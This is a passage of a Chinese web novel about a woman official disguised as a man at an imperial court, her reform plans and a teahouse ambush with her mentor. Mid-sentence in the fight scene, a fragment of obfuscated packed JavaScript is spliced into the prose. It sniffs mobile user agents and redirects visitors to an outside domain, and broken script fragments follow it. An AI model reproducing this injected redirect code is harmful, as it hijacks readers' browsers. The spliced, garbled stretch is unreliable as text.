落座之后,季泠便格外老实,双膝并拢,双手放于膝上,连坐都只敢坐在椅子的四分之一处,徐行在侧边看着,总感觉她要马上站起来回话似的。 徐行和公主都知道她真实身份,可是对上谭谦,这位新晋阁臣,她还是不免犯怵。 “执庸,今日找你来,不是为了户部之事。本宫与谭大人、徐大人商议,想要对现有吏治进行变革。最先一步自然是从选官之法开始。你出身建州,必然也了解,建州书院领先全国,施行男女同学已经多年,如今看起来也是成绩斐然。” “本宫有意将这样的学制再推广开,从原有的东南四省,推广到中原诸地,包括京城。如今,我们准备着手在京城先办一个书院,不必太大,可比照建州书院的规格分配,不以家世、男女为限制,只凭才学选人。学成之后,进行考校,再按照进士观政之法,分散入各个部寺府司进行特定训练。” 原来是因为这件事情找她来,那她自然愿意:“微臣愿效犬马之劳。” “书院之事,现在还在商议筹备阶段,事以密成。等到合适的时机,万事俱备的时候,本宫会在朝会之上向陛下进言,过个明路。” 季泠点点头,开始与三人商议如何选址、工程配置、选拔先生与学生等诸多详细事宜。 徐行和谭谦走后,公主将她留下:“执庸,你应该明白,我为什么将你引进吏部与礼部负责的事项之中。” 季泠走近公主,明澈双眸间狂书着一往无前的执着与野心,比起四年前初临礼贤殿的她,又多了几分明确的坚定。 “殿下想要的不仅是男女同学。想要的是,将公主府内培养幕僚的法子用在书院之中,为朝廷地方、各行各业培养出无数能人志士,女官、女医、女商、女将、女工……” “殿下想将世道的璀璨劈下一半,放她们去挣得女子的那片光亮。我们女子,将再不用低眉顺眼、仰人鼻息,全部昂扬挺立地活着。” 正是因为这样史无前例、啼笑皆非的志向,季泠跋山涉水,从建州而来,走进公主府中的文阁武场,走到遍是须髯的皇城衙门,盼望着男女共分天下、百姓衣食无忧的冉冉盛景。 寒冬腊月,又是一年风雪季。 季泠站在礼贤殿前,拢紧了身上的夹绒大氅。 白雪飘飘,她轻易就被迷了眼,殿前万物已然失去色彩。 世界正在酝酿一场盛大而日益膨胀的岑寂。 而她被压实的雪灌注了四处漏风的平静。 季泠终究还是被这股洁白引诱,接住飘落手心的馈赠,紧紧握住,用自己的体温将雪融化,最后化作一滩透明的水从她指缝溜走,轻轻地滴在地上,但已经有许多在半空之中就被风雪带走,剩余的落在地上瞬间凝结成冰。 以身暖雪,徒劳而已。 徐行从廊边走来,就看见迷离雪幕之后有一个身影,几乎也要在漫天大雪中随之融化了,她将被冻僵了的手又缩进了袖子中,手上的水将衣裳边的风毛打湿了,有些冰人。 他情不自禁地眯了眯眼,想要躲开风雪的扰乱,将檐下之人看得更清晰些。 于是他顺着暖廊走去,一步步地靠近,最终走到她身边。 “怎么不进屋去?” 外头多冷,别着凉了。 话还没说出口,季泠就异口同声地感叹,面前生出厚厚一层白雾,繁殖出他少见的忧愁与惆怅。 “今年的雪真大啊。我从未见过这么大的一场雪。” 徐行也转身望去,确实,京城好久没有这么大一场雪了。 前几日还只是飘些柳絮般的绒毛雪,一夜之间,京城与天同色,一片浩渺。 有点像西北卷起的黄沙,遮天蔽日,将天地都变成同谋。 “瑞雪兆丰年,会是个好意头的。” “真的吗?” “不要因景伤情。进去吧,谭大人快到了。” 季泠点点头,跟着徐行进入殿内。 京城书院之事该要开始着手实施了。 但有些事情却叫他们始料不及。 在京城银装素裹、臣民都翘首以盼地期待年节的时候,靠近京郊的一处凄冷胡同里,灯影昏沉,寝屋内,最后一点柴火生出的热意也随着冷风吹来而消散。 几日后,雪化冰融、阳光普照之日,传来一个令人不可置信的消息。 “张植全家,在此隆冬,饥寒而亡。” 六部九司内,听闻此消息的人全部都讶异地站起来,齐齐看向来传消息的人。 在吏部、翰林院和督察院的组织下,百官纷纷到那处深不见人的屋子中,为张植吊唁。 “张植是督察院监察御史,虽只是个七品小官,但掌弹劾、言谏、纠察、监察百官之职。为人刚正不阿、清廉俭朴。只要经他手查出有什么问题,从不顾及身份颜面,直言上谏。也正是因此,在朝堂中树敌颇多,受他弹劾之人心生不满。” 可惜张植两袖清风,毫无错处可被拿捏,那些恨他恨得牙痒之人也毫无办法。 开国伊始,百废待兴,高祖认为前朝灭亡诸因中,冗官冗费占据一席。因此相比前朝,压缩了官员既有俸禄福利,减少假期,延长值时。 对于徐行这样累世为官的人家来说,这压根不算什么大事,他们自有宗族扶持、产业供养,俸禄多少,实在无所谓。 而对于许多家境贫寒、从白丁之家靠科举谋得一官半职的人来说,这样的一笔钱是唯一的活命钱。 “做了官,里外打点,朋党招待、衣食住行、亲族关照,皆是多支靡费。”季泠叹气。 季宅人少,她日常衣饰也都因公家供给而俭省不少,再加之她几乎不参与宴饮游乐,日子倒也能过得下去。 只是,这些拖家带口的人来了京城这样的销金窟,便难以维持了。 也正因如此,读书之时最恨贪官的人,等坐到这样的位置上,身边人、耳旁风、心里话的鼓动之下,最终也成为了贪官。 明里暗里、合理合规地收些冰敬碳敬、陈粮火耗,早已司空见惯了。 胆子再大些的,直接收了下头人送来的贵重陈设饰物,甚至是金银财宝,倒霉些被揪住了,就成了贪官;没被抓住的,继续这样收着,总归在律法之内小心就是了。 张植则是个例外,他一家六口人,全只靠着他一人的俸禄苟且着,今年这场大雪来得意外,终究让他一家冻死在雪夜之中。 “他们去看过了,张植家中的厨房里,竟然一粒米、一根柴,都没有了。”祝扶春小声地在季泠旁边说着,季泠心有不忍,不愿再继续听下去。 只能在吊唁之时,烧香深拜,愿张家人脱离人世苦海,早登极乐。 张植一家安葬后,紧随病倒的便是徐行。 “从建州到京城的两年,我见过饿死的人、冻死的马、累死的牛,这些原本是最底层的惨况,再好的盛世,只要是底层,总是难逃这样的悲苦。可是,一个朝廷官员,已经算是一个家族鲤鱼跃龙门的存在了,是整个国家中上之流的人才,怎么会沦落到全家六口饥寒而死呢...” 他不由地想找一些其他理由,比如仇杀。 “清许,你说,张植一家的死,会不会有蹊跷?” 林清许叹了一口气,摇了摇头:“仵作已经验过了,确实都是饥寒而死的。只是,也许你猜的没错,是有人故意为之。” 徐行想了想,脑中浮现一个人名:“钱莘?” 林清许点点头:“前段时间,你在忙着吏治改革诸事时,错过了一个消息。张植弹劾了钱莘手下的人,那个人曾经帮着他儿子遮掩了强抢民女的事,最近又私收了下面人的银子,数罪并罚,张植直接将折子递到皇上跟前,皇上大怒,自然发落了,钱莘也因此被问责。” “钱莘是什么样的人你不是不知道,睚眦必报,之后立刻寻了由头,克扣了张植的俸禄。他知道张植是什么样的性子,断不会因为金银向同僚伸手求助。这场雪来得太快太大,他们一家竟就这样没熬过去。” 病愈后,徐行回到礼贤殿内继续与公主等人商议书院。 殿内仅有两人时,谭谦低声道:“钱莘此人,手段太过狠利。自从张瑛致仕回乡之后,他在内阁独揽大权,将所有弹劾他或是表露对他不满的臣子全部处置了。负责督建陵墓之事的工部郎中,只是在督事之时随口言说了两句:‘自从张大人走后,内阁在钱大人掌控之下,有些独断专行了。’就因此被钱莘以藐视圣上的莫须有之罪关押起来。” “那陵墓之事呢?” “他随意找了个自己人顶上,如今已经延误工期了,下面的人已经有些不满,怕是要闹事了。” 徐行像是下定决心般,靠近谭谦:“老师,润旻有个冒进的想法。” 详说之后,谭谦并不认可:“你现在上疏,不是在打他的脸吗?原本谭谦就隐隐对我不满,若是你这样冒险,他怕是会容不下你。” 徐行站起身来,看着殿外屋檐上的冰柱,一点一点地滴水,毫无痕迹地打在积雪之中。 “我总该做些什么吧,滴水穿石。学生相信,公道自在人心。” “这话不像你平日会说出口的。你要做就去做吧。只是,这天下的公道,不在万民之心,只在那一人之心。” 谭谦意有所指,徐行看着蛰伏已久的老师,点了点头。 季泠从礼贤殿回到户部署衙时,却见几位同僚凑在一块儿交头接耳。 “季大人。”见她进来,众人面面相觑,不约而同地住了嘴。 季泠面不改色地回礼,不经意一笑,便道:“诸位在说什么趣事,不妨也让执庸乐上一乐?” 她面前的河南司主事 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季泠低头浅笑,游廊中寒风凛冽,将她的耳尖与鼻头都冻红了,如今她已经适应京城的气候了,遇冷便不再皲裂,反晕出几分蜜桃般含着清甜汁水的气色。 “若当了一年多的官,还这么不识时务,我趁早拾掇拾掇回乡种田算了。快说吧,发生了什么?” 祝扶春收回眼神道:“是吏部之事。徐大人上疏奏请改革吏治,要求京城官员一年一次、地方官员一年半一次,到京述职,并每季撰写任内功过汇报上呈。兼以许下官监察上官之权,如有违纪乱政或弄虚作假等重罪,下官可匿名越级举报,直达吏部。” 季泠皱眉不解。 “此行一出,许多官员明面上不说什么,但众人一向习惯之前的公务察检之法,徐大人此举,兴许太过严苛了。” “这是什么时候的事情?” “就前几日,内阁畅通无阻地过了,陛下的意思是,由徐大人全权负责。” “全权负责?”季泠惊异道。 祝扶春点点头。 看来,徐行比她想象的更得圣心。 只是,这件事情,似乎不像他以往的作风。未免有些太……操之过急了。 季泠凝思着,浩瀚天地之间,只留下双人踩雪的轻响。 徐行为什么突然这么做? 虽然内阁前几日过的此令,可这并非一日之功,想来也不会是因为张植之事,该还有些别的原因才对。 方才的画面突然一闪而过,季泠察觉不对,终于想起她要追问的事情。 “所以,为什么我一进来,大家都不约而同地住嘴了?” 这不是摆明了孤立她吗? 可她也没做什么与众人交恶的事情吧? 祝扶春听见她抱怨的声音,低头便看见她嘟囔着嘴,看来一年半的时间还是太短,她仍不能做到掩藏自己的所有心思。 季泠等了半晌都没等到他的回答,疑惑地抬眼看去,祝扶春正毫不遮掩地盯着她。 季泠没好气地一撞:“说啊。” 连嗔怒都如此眉飞色舞。她什么时候才能学会掩藏心思呢? 祝扶春清了清喉咙,拉着她在游廊中间坐下。 此处可以看见所有来往之人,如此便不用担心隔墙有耳了。 “倒也不是什么大事。只是,听说你近日与徐大人和谭大人一起负责了京郊书院一事?” “嗯?”这件事皇上已经在朝会上说过了,她也不必再隐瞒。 “他们就是担心这个。” “这两者有什么关系吗?” 祝扶春措了措词:“你与徐大人关系颇近。若是你知道,有谁置喙徐大人的决策……” 季泠恍然大悟:“噢,怕我告状。我哪会那么小心眼啊。” 祝扶春眸光一闪,她没否认。 季泠却不得不担心起来。看来,随着她的权力越来越大,她将要渐渐失去户部同僚的信任和善意了。 可她迟早要做出抉择,没人能同时得到同品官员、上司、下属的和颜悦色。 要想收拢下属的心,心甘情愿替她办事,她就必须宽严相济。若是心狠,她的属下只需成为她趁手的刀剑即可,但这样便无法获得誓死效忠她的拥趸。可若心太软,又势必失去威信,反将自己陷入道德良心的囹圄困境。 若得了上位者的青睐,与她平起平坐之人难免眼热,从而离心。毕竟,人人都会庆贺她高升,可也恨高升之人为何不是自己。 可失去同品官员的同舟之情,她又会失去许多消息的来源。自然了,她能从上官那儿所获的,肯定远远超出从他们那儿所得的。只是,上官那儿得到的消息,总不如身边之人的详细入微。 宏微兼顾,才有利于她身处局中又游于局外。 她看了看身旁的祝扶春,暗自生出庆幸。 年前的最后一次朝会之上,徐行再次请奏,以高薪养廉洁,减少贪腐之事。 皇上思及张植一家的惨况,与众臣仔细商议之后,觉得可行,便交由徐行与户部商议,出了具体名目后,上呈天庭过目,再推行下去。 退朝之后,徐行准备回衙门着手此事,突然被一阵老道的声音叫住。 “钱大人。” 钱莘慢悠悠地从他身旁走过,自然地享受着徐行的礼。 “年轻人,不要好高骛远,小心登高跌重。” 话语间带着不容置疑的狠戾。 向日葵向阳而生,朝野众臣也该绕他而转,哪怕是徐行和谭谦,也应如此。 眼下,徐行从见到他开始,就该恭敬地弯着腰,目送他从大殿行至宫门处。 徐行直起身,放下拿着笏板的手,迅速收敛住嘴角的一丝笑意,只冷冷地看着矮瘦的背影,直到仙鹤补子在他眼中只剩下一个难以描摹的黑点。 57. 浑水乔装比试过招 春光作序,万物和鸣。莺初解语,好事正酿。 季泠却觉得最近祸事全冲着她一个人来。 祝扶春最近都抓不到季泠,却在下值后见到季泠风尘仆仆地从外头回来,总算逮到机会过去和她说说话。 “季大老爷,怎么还没走呢?” 季泠白了他一眼:“你闲着没事儿干?” 祝扶春笑着拉过一张圆墩坐在她身边,他一看季泠露出不耐烦的样子就格外开心,似乎被他抓到了季泠的另一面。 人总有窥探欲。 “你究竟在忙什么?从去年冬天就开始,一直到现在。湖广有那么可忙的吗?” 季泠愁眉苦脸道:“你又不是不知道,闫有德那龟孙子总是没事给我找事做。” 季泠现在在祝扶春面前已经毫不掩饰与闫有德的不对付,张口就开始骂天骂地。 “当时吏部怎么替你选了湖广这样的地方,要是你在我的手下,我保准让你顺风顺水的。” “可别了,你不如期盼我赶紧高升,超过闫有德去,到时候就轮到我对他颐指气使,耍弄逗乐。” 季泠一边理着厚厚的黄册,一边有一搭没一搭地应和着。 “你别在我这儿碍事儿了,再和你聊着,我事儿都做不完了,快些回去吧。” “真不用我帮忙?” “真不用!我自己能行。” 祝扶春知道季泠说一不二的性子,也只好由着她去,他走后,户部衙门之内只剩下季泠一人。 季泠理完户部之事,站起身抻了抻腰背。 衙门内外漆黑,烛火只照亮她的侧脸与案牍。 她恍然发现,自己何时不再怕黑了。 曾经在建州读书时,她走夜路都要何咨宁作陪,若是自己一人,便如长出了顺风耳般,千里之外的风吹草动都能化作紧随于她的鬼魅身影,叫她心惊肉跳。 如今,她却可以一个人坐在的衙门内,夜风将累张公案上的文书吹得沙沙作响,她再不草木皆兵。 看来,汩汩而逝的时光也并非全是遗憾,至少滤走了孩童时期以为永无止尽的恐惧。 季泠享受着独自一人的精神狂欢,为自己的大好未来再多点上几只蜡烛,将公案桌照得无比亮堂。 她再一次伏案,眼下是处理京城书院的事情。 书院之事已经由皇上定下,名为华峰书院,落于京郊龙华寺附近的一座山下,几月前就开始动工了。 只是在招揽女学生一事上,频频受阻。 最大的拦手便是钱莘。 女学生一事甫一提出,钱莘就像有感应一般,立刻想到之前的古良学社。 昔日《女界》一案早已由刑部结案,近两年来,古良学社已低调行事,再无明面的把柄可纠其错漏。 可钱莘也不再是四年前的钱莘,如今他想要打压古良学社,逮捕其中人物,再不需要任何托凭。 季泠和林微如今的身份和样貌人尽皆知,已经不便出现在学社之中。 虽然公主已经替她将入府之前的过往抹的干干净净,可若有心之人抓住她的漏洞,那么,此事对于她而言,就是一个致命的把柄。 虽然公主已经在朝堂上力排众议,可音讯却被层层围堵。 季泠本想寻苏缘桢在学社内外替她传话,借学社在民间的力量,将华峰书院要招揽女子的消息传出去,不料屡屡受挫。 真正需要这个机会的学子竟无从获得消息来源。 她不能再坐以待毙了,辛辛苦苦弄个书院出来,到时候全便宜了权贵子孙,她和公主岂不是瞎忙活。 钱莘…… 钱莘这一年来干的坏事可不算少啊…… 党同伐异,草菅人命。再这样下去,天下都要跟他姓钱去了。 不过,她也不是全无所获。 自华峰书院一事起了头,她与吏部和礼部多有交流,借了这股东风,她倒是得了意外之喜。 也怪钱莘为人做事太过阴狠狭隘、目中无人,有些东西她得到的太顺利,反倒叫她生疑,多方验证之后,才放下心来。 再加上两年前孙立言一案中,刑部搜到的东西…… 她不信徐行只找到刑部结案卷宗里那些轻描淡写的证据,一定还有更重要的东西被他按下了。 她要找个时机,能够将这些东西物尽其用,然后再添上一把火,将它烧得更旺些。 时机很快就到了。 “六月十五,钱莘携子于流音阁设宴。” 季泠看着手中的短笺,以及后续所附的小字,嘴角轻翘。 简直天助我也。 “林微,六月十五那日,我要去流音阁见一个人。” “我陪你去?” “不,我一个人去。因为,你有另外的安排。” 六月十五,万里无云,圆月当空。 在这个月亮像忍冬花一样纯白绽放的夏日,她的胜利必然会如她所期待那样,在流音阁内留下万古长青的芬芳。 流音阁内,金鼓喧阗。 右侧二楼的门前,站着兵马司的人。 一条连廊连着左右两幢阁楼,一位小二端着一壶热茶侯在左廊二楼的雅间门前,待门前的侍者通报点头后,方才弓身进入。 里面是坐着两个男子。 小二上了一壶太平猴魁。 徐行提壶斟茶,林清许却摆摆手:“我不喝你这茶。给我上一壶熟水吧。” 小二应下,退了出去。 扇门轻开,徐行无意间往外一瞥,一个熟悉的侧影在双门夹隙中自成一副景色。 “今日就先这样吧,我们后面再议。” 林清许有些莫名其妙:“可我们还没讲完呢…” “我后头还约了人。” 林清许顺着他的视线往外看,看见了一个穿着松花色满褶裙、梳着垂挂髻的姑娘,此时正在大堂中避开穿梭于人流间的侍者宾客,头须如风筝般高飞着。 林清许促狭发笑:“好啊徐润旻,你素日清心寡欲,原来,都是躲在这里风流啊。” 徐行收回眼神,指节轻敲着乌木圆桌。 “行了,那我便成人之美吧。”林清许悠然起身,意味深长地看着徐行。 徐行也不理睬他的调笑,只目送他的离去。 在徐行的目光中,那个穿着满褶裙的姑娘提起裙摆,混入侍女之中,故作自然地上了二楼,而后右转,等候在门前。 那扇灯笼锦隔扇门打开,侍女们鱼贯而入,她再无遮掩,想要装作过客,不经意地抬眼朝里头张望,却被奉茶而出的小二撞到,吸引来了侍卫的目光,她才慌张跑开。 就在连廊中回头张望、忙乱躲闪之际,猝不及防地被人捂住了嘴,往一间屋子里扯了进去。 那只掌心粗粝、骨节纤长的手彻底地罩住她的口鼻,却又像捕捉野兔的竹笼,微微隆起,在指缝中为她留下足以攫取生机的空间。 可她仍然感觉到呼吸稍受阻滞,撞到那人掌心之中后,又扑向她的脸颊,几乎就要在她的脸上酝酿出梅雨时节的潮气。 紧接着,季泠感受到身后之人因要使力困住她而略微紊乱的气息。 那阵热气喷洒在季泠的侧颈处,诱得她暗生杀意。 她能感受到,他靠在朱漆山柱上,而她被困在他胸膛前。 他正在注意外头的动静。 这倒是个好机会。 季泠挣扎几瞬,试图挣脱他的束缚,结果却是枉然。 身后之人将她的口鼻捂得更紧,这下连指缝间的空气也被隔绝在外了。 季泠垂首,看向想要让她住嘴的这只手,猛一吸气,一阵凉气带动他的掌腹贴近她的唇鼻。 随后,季泠毫不犹豫屈臂,往后用力击了一肘。 身后之人许是未曾料到,肋骨被十足十地打中,痛得闷哼一下,松开了捂嘴的手。 季泠大步急冲,穿过纱帘,正欲逃脱。 将要伸手推开隔扇门时,那人又眼疾手快地扣住她的肩膀,她想转头看清来人,却受制于其禁锢而难以动弹。 不等后方之人反应继续,季泠紧抓空档,弯腰扭身,从其双臂之下绕过,侧身之际高踢左腿,迎上那人印堂。 经过先前那一肘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446319|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他显然多了准备,闪身一避,出手敏捷,却仍未来得及抓住她转瞬即收的脚腕。 不过一息,一阵利风随着扬起的秋波蓝衣袂,划过半圈涟漪般的细尘,一把冰凉的匕首贴在他的脖颈上。 匕首在她右手中横握着,只要他敢对她有任何动作,她即刻就可以收力,喇开他的咽喉。 还不及她完全转身、为获胜而欢庆,几乎同时,那人就把她的手腕紧紧钳住,将匕首从脖子上带离几分。 季泠吃痛抬头,惊呼出声:“徐先生?” 徐行捂着肋间,却没松开她:“你怎么这么大力气?” 她眼中的狠厉还未来得及收起。 季泠尴尬一笑,往后退一步,右手腕一转,将匕首放在徐行手中。 徐行淡然转身,仿佛先前命悬一线之人并不是他。 “身手不错。” 季泠大步跟上,坐在徐行对面,虽然极力压制,可她翘起的嘴还是出卖了她的得意。 “先生谬赞。” 长灯环绕,烛火送明,徐行这才看清她的装扮。 今日的季泠,与往常很不一样。 怎么说呢?似乎多了几分刻意的乖巧。 从前没见过她留过小姑娘的刘海儿,在建州时,她也是将头发利落梳起的。 她还要上值,定不能真的将头发铰了,看来是假的了。 徐行的眼神似有若无地从她刘海处飘过,季泠抬眼瞅了瞅,发丝挠着她的眼皮,叫她眨个不停。 原来是她今日的眼睛不一样。徐行的视线下落。 刘海遮住了她的浓眉,她的双眼便格外圆钝,显得讨巧又无辜,倒是与今日的装扮相得益彰。 只是,他记得,她的眼角本是有几分锐意的,总外溢着精怪的机灵与狡黠。 复又想到她此前装扮成舞姬的模样,心中暗叹,原来如此。 季泠的眼睛滴溜溜地乱转,扫过圆桌上两个杯子,状若讶异道:“先生早备好茶要请我来?” 徐行顾左右而言他:“你怎么每次做坏事都被我抓住?” “那一定是先生与学生心有灵犀吧。” 徐行看着她,听到心有灵犀这个词时,眉头松动了一分,季泠越过杯沿,察觉了这个微小的变化。 “据我所知,今夜在这里设宴的,是钱大人和他的儿子。” 季泠不说话,只转动着手里的茶杯把玩。 徐行见她不配合,又换了一个轻松的话题:“你一个人来的?此次又是要探听什么消息?你如今也是朝廷命官了,身份还不便利,怎么还是亲自来摸查?你身边没人了?” 季泠立刻装出可怜模样,委屈起来:“先生又不是不知道我,一个无足轻重的可怜的六品小官,还不能被人发现是个女子,朝堂内外,又有谁,值得我信任呢?” 徐行虽然看出来她是故意这么说的,可无奈的是,季泠说的确是实话。 他轻叹道:“你不应该选择对付钱莘。他虽做事目无法度,但是却御下有方,党羽众多,不是那么好解决的。” “可是先生,他要杀我。” 徐行明白,她指的是先前学社的事情。 “眼下他不会。” “可我记仇。”季泠收敛了笑意。 “就算加上你手里头的东西,你又有几分把握?你才入朝不过两年。他在朝耕耘的日子,比你岁数都大。” 连他和谭谦都不敢贸然行动,季泠简直是在玩火自焚。 “先生在说什么?” “别装傻,季泠。你借着我的名头去调查证据,我并非全然不知。” “先生为什么怀疑是我?我只是一个女子,哪有那么大的本事?” 徐行被季泠顾左右而言他的态度弄的有些恼火了,不免冷了声:“现在你知道你只是个女子?你不担心隔墙有耳?也不担心身份暴露了?你的身份,可是把时时悬顶的铡刀啊,季泠。” 季泠微微眯起眼睛,就如她曾经学射箭时瞄准箭靶那般。点了口脂的唇角挑起一个志在必得的笑容:“先生错了,只要有利,任何身份都可作利器。” 58. 师生演戏巧避排查 任谁也不会想到,这样一个人畜无害的姑娘,会是户部初出茅庐却行事果决的主事。女子又如何?就是因为他们看轻世间女子,她才能乔装变容,隐于闹市,如鱼得水。 徐行见她的表情,终觉自己一直以来是真的小看她了,随即将前面季泠顺手递给他的匕首放在桌上,推了回去。 季泠左眉一挑,将匕首收进鞘中,显然是误会了他的意思:“先生,我可是准备了大礼要奉上的,这就是您的待客之道吗?” “你不该再称我为先生。季执庸,我是你的上官。你该叫我徐大人。” 季泠狡黠一笑,绝不妥协地摇头:“那可不行,这是我和先生唯一的羁绊。” 这可是她的保命符,她怎么能放手呢?徐行一向尊师重道,对自己的老师拼尽全力帮扶,那么她做为学生,徐行也该善待自己才是,如此才能上行下效。 况且,他这位先生还是教会她不少东西的,她还没好好报答呢。 “要对付钱莘的人那么多,为什么偏偏会是我动手呢?” “你要浑水摸鱼?” 季泠用手指拨动着茶杯,让它如陀螺般旋风转起,杯底与木桌轻轻碰撞,填满了她默认后的余寂。 电光火石之间,一道凛声破开屋外鼎沸人声,暗箭穿透隔扇门的油纸,直朝着季泠而来。 徐行猛地抓住她的手腕,将她往后一扯,带着她俯身匿于桌后,躲过了那只箭。 季泠被这突如其来的大力带得重心不稳,差点摔在地上。 在两人分别往后站起、离开射箭之人目标的圆桌时,又一支箭飞来,对准了徐行。 “先生小心!” 季泠眼疾手快,将手中未放下的杯子抛过去,虽然不算精准,但也将对准心口的箭打偏了一些。 箭矢擦过了徐行左臂,后勾的箭头喇出一道血口。门外的览风听见动静,立刻推门而入。 徐行捂住伤口,语调泛起寒意:“去查,是谁在流音阁闹事。” 览风却不得不犹豫。徐行今日只带了览风前来,如果览风去查,那徐行负伤就无人照顾了。况且,若是射箭之人再次动手,那他如何逃脱? 季泠掩在桌后,俯身查看着他的伤势,却未听见览风领命告退的声音,当即果决露面。 览风大骇:“季…” 季泠出言阻止道:“你先去吧,我来替你照顾你家少爷。”不必他再多问,季泠身侧的徐行已然点头,览风遂速离去。 门再度关上,屋内陡然陷入沉静。 季泠将徐行扶至榻边,绕行到他左侧坐下,从他右臂间落下的手随即就摸上了他腰侧的系带。 徐行一把压住她的手,却扯到伤处,不禁微皱眉头。 “怎么了?” “你还是个姑娘家。” 季泠翻了个白眼:“就算我是妇人也不能脱外男的衣裳。先生少理会这些规矩吧,不然死的人是您可不是我。” 牙尖嘴利,徐行闭嘴了。 褪下半侧直身,那双伪装的圆眼专注于左臂的血口。 季泠直接从徐行衣裳中抽出手帕,沾了酒,细致而轻柔地替他擦去伤口周边的血迹。 突如其来的辛辣刺得徐行轻震,季泠不由得捏紧他的手臂,以免因他的动作而再度伤到患处。 徐行偏眼看向隔扇门处,等待着览风复命,亦注意着射箭之人是否卷土重来。 忽然间,臂上传来一阵具体而明确的凉意,他转头看去,季泠正在轻轻吹气,替他缓解猛然起劲的伤痛。 “还好,没有伤到骨头,不算很重。” 徐行嘴角一抽:“不算很重?” 季泠将他的帕子一把塞进他手中,扬起一阵迷醉的酒气,间掺了令人晕眩的血腥味。 “不然算您重伤?这样明儿就可以告假了。”季泠没好气地应着,从怀里掏出一个荷包。 荷包中一个白瓷瓶滚落到她手心,她再次坐回榻上,替他撒上药粉。 “你怎么随身带着药?” 她又不是什么武官,哪有一个姑娘贴身荷包里装的不是链子坠子,而是金疮药? 季泠左找右找也找不见什么布条,想学戏文中英雄救美那样撕烂自己的衣服,却发现根本撕不动。 转头之时,发后的头须撩到侧颈,才恍然想起,毫不犹豫地伸手将头须解下。 头须散落之时,她为今日精心梳整的发髻便散乱了。 季泠将头须重了两层,替徐行简单包扎着,嘴上也不饶人:“先生忘了?去年冬至我被人当街砍了。之后就担心这条小命,随身带着伤药。” 徐行这才想起来,倒是他多疑了。 正当季泠将他的伤口包扎好,准备替他穿上衣服时,前门被突然推开。 两人一惊,一同转头看去,是林微。 她仓皇而来:“执庸,不好了,钱大人带人过来了…” 季泠立刻抬步准备离开,林微摇摇头:“走不了了,他们已经将通行的两侧楼梯全部围堵住了。” 徐行思考须臾,当即伸手,将她头上的钗环全部摘下,顷刻间,墨瀑长发倾泻而下,披落肩头,盖住秋波蓝外衫。 “做什么?”季泠太过紧张,一时间竟结巴起来。 徐行只道:“你上来。” 林微皱眉,却也来不及详说。今晚钱莘的举动在她们意料之外。 门外浩浩荡荡的躁动逐渐由远及近,她立刻走到隔扇门边,端手作侍女状。 季泠迅速脱了鞋,毫不犹豫地爬上了榻。 她小心翼翼地调整着姿势,生怕压到徐行的伤处,却感受到自己的发旋正被揉乱。 她仰头望去,与世隔绝般的薄毯里为她留出一线天的光明,她只能看见徐行紧绷的下颌。 而后,那只手再次覆到她头上,将她轻轻往下按。 徐行的声音也是紧绷的,传递着牛皮鼓里才有的沉闷,她第一次见他不太镇定的模样。 “别露出脸,低头。” 她只好顺着他掌心的力度低下头,盯着自己蜷缩的四肢,以及面前无可躲避的精壮身躯。 她忽然感觉战鼓喧鸣,鼓槌打在她耳膜上,将她震得耳鸣心慌。 她听见了钱莘之子的声音。 “会演戏吗?” 徐行的声音盖住了屋外的喧嚷,季泠竭力维持镇定道:“炉火纯青。” 她感受到发旋有一股热意,有点像夏天站在阳光下,被晒得太久的那种热意,只停留在头发表层,未曾深入头皮。可头发却不知是如何将这股热意传递给她,让她清晰无误地感受到了。 徐行应当是在看着她。 “等会儿,找准时机,出点声。” 季泠没忍住抬了头,看见他脖子上的青筋。 徐行再一次将她的头按下,薄毯又往上几分,这下连先前的一线天也没了。 她只能观察着徐行胸膛起伏的弧度,以此判断他的情绪。 门外传来了敲门声。 徐行似有不耐地喊了一句:“谁?” 钱莘边上的侍卫先替他发了话:“兵马司排查刺客,请这位贵客协从。” 林微开了门,为首的钱莘和钱雄略坦然而进。 越过遮掩的落地绣花屏风,榻上之人似乎意犹未尽,缓缓转头。 钱莘与钱雄略交换了眼神。 竟然是徐行。 钱雄略挥手,让后面的侍卫在门口候着。 钱家父子走上前去,就见一方榻上,徐行懒懒倚靠着,白色中衣领口微散,右手压在薄毯之上,左侧的手藏在薄毯之中,似乎搂着一个女子… 那女子长发散落,羞怯地将脸埋在毯中,叫人看不清模样。可见的是,薄毯之下的柔娇必定紧紧贴着徐行,好不亲热。 钱莘见到这幅春景,意外地笑了:“原来是润旻啊。怎么,你今日也有雅兴,在此与佳人相约?” 徐行似乎第一次被撞破此事,尴尬之余抿了抿唇,却未从榻上起身。瞥了瞥身侧之人,才转头朝着钱莘略微俯身致礼。 “钱大人见笑了…只是今日确实多有不便,恕下官难以起身行礼。” 钱莘一脸会意,点了点头。 男人嘛,都是一个样。权财美色,总难逃其中,无人例外。 反而是一旁的钱雄略往前站了一步,略带窥探之欲,将头往前探了探:“素来听闻徐大人不近女色,原来是早有红颜知己相伴啊。” 徐行突然“嘶”了一声,打破了他的探究。 两人就见薄毯所描摹的轮廓蠕动几下,徐行即刻微蹙了蹙眉,神色颇异,似在忍耐。 钱莘拦住了钱雄略,笑着说:“流音阁中有刺客闯入,有人说箭矢是朝着这个方向射来的。正巧兵马司的人在此处,就由本官带人来排查一番。徐大人可曾听到异动?” 徐行微笑摇头,脸色已然恢复正常。 “那我们就不打扰徐大人的好事了。走!” 钱莘转身离开,临走之前,瞧见桌上的三个茶杯,又扫过糊门的油纸上留着两个箭孔,他顿了顿脚步,侧头用余光瞥了一眼徐行,女子的娇笑和徐行的闷哼适时响起。 他挑笑越过门槛,细心地命人将门关上。 林微走到门前,透过门缝瞧见一行人去了其他雅间,又下了楼,最后才回到了西侧雅间之内。 “走了。”林微低声说了一句。 季泠将头一歪,两只手立刻从薄毯中伸出来,将毯子一把掀开,随手撩开附在脸侧的发丝,大口地喘着气。 钱莘怎么话这么多,她快要被闷死了,又不敢乱动,生怕引起注意。 她方才只想偷偷挪动一厘,就不小心碰到了徐行的伤口… 